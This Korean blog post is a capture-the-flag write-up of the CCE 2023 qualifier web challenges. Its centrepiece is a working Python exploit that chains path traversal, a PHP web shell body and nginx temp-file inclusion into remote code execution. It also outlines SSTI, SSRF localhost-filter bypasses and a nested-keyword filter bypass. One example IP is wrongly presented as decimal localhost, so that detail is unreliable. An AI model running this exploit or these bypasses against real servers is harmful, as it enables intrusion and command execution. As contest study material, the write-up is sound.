One_Blog

CCE 2023 예선 웹 라이트업 본문

후기,라이트업

CCE 2023 예선 웹 라이트업

0xOne 2023. 7. 20. 16:30
728x90

CCE.. 예선이 5월인가 그랬는데

 

중간에 행사가 너무 많아서 이제야 올리게됐다.

 

사이트도 다 닫히고 이미 할 게 없는 수준이지만 그냥 심심해서 올려본다.

 

import sys,threading, requests
URL = f'http://20.196.197.149:8000/'
cpus = 0
pid_max = 4194304
nginx_workers = []
for pid in range(pid_max):
    r  = requests.get(URL, params={
        'page': f'../../../../../../proc/{pid}/cmdline'
    })

    if b'nginx: worker process' in r.content:
        print(f'[*] nginx worker found: {pid}')

        nginx_workers.append(pid)
        if len(nginx_workers) >= cpus:
            break

done = False
def uploader():
    while not done:
        requests.get(URL, data='<?php system($_GET["cmd"]); /*' + 16*1024*'A')

for _ in range(16):
    t = threading.Thread(target=uploader)
    t.start()
def attack(pid):
    global done

    while not done:
        print(f'{pid}')
        for fd in range(4, 32):
            f = f'../../../../../proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
            r  = requests.get(URL, params={
                'page': f,
                'cmd': f'/readflag'
            }) 
            if r.text:
                print(f'flag: {r.text[:50]}')
                done = True
                exit()

for pid in nginx_workers:
    a = threading.Thread(target=attack, args=(pid, ))
    a.start()

[문제 이름도 기억안남]

 

nginx로 동작하는 php 서버 였는데, lfi 취약점이 발생했었고, /readflag 바이너리를 실행하면 flag를 얻는 문제였다.

 

내가 퍼블을 낸 문제였는데, php nginx lfi to rce 를 활용해서 풀었다.

 

[Kmail]

 

GoLang으로 이루어진 Mail 서비스였는데, 메일에 Signature을 추가하는 과정에서 SSTI 취약점이 발생해서

 

SSTI -> LoadFile Method 호출을 통해 /flag 파일을 읽을 수 있었다.

 

이외에도 세션 생성 과정을 Local에 그대로 build해서 Profile Image 대신 /flag를 읽는 방법도 있었다.

 

내가 기억하기로 

 

localhost 와 127.0.0.1 대신 http://0 이나 10진수 표현 http://12.179.51.51/ 또는 16진수 표현 http://0x7f000001 와 같은

 

표현식을 통해 SSRF 취약점을 터트리는 문제도 있었고,

 

php의 약한 필터링으로 인해 adadminmin과 같은 형식으로 admin으로 로그인하는 문제도 있었던 걸로 기억한다.

 

끝, 하하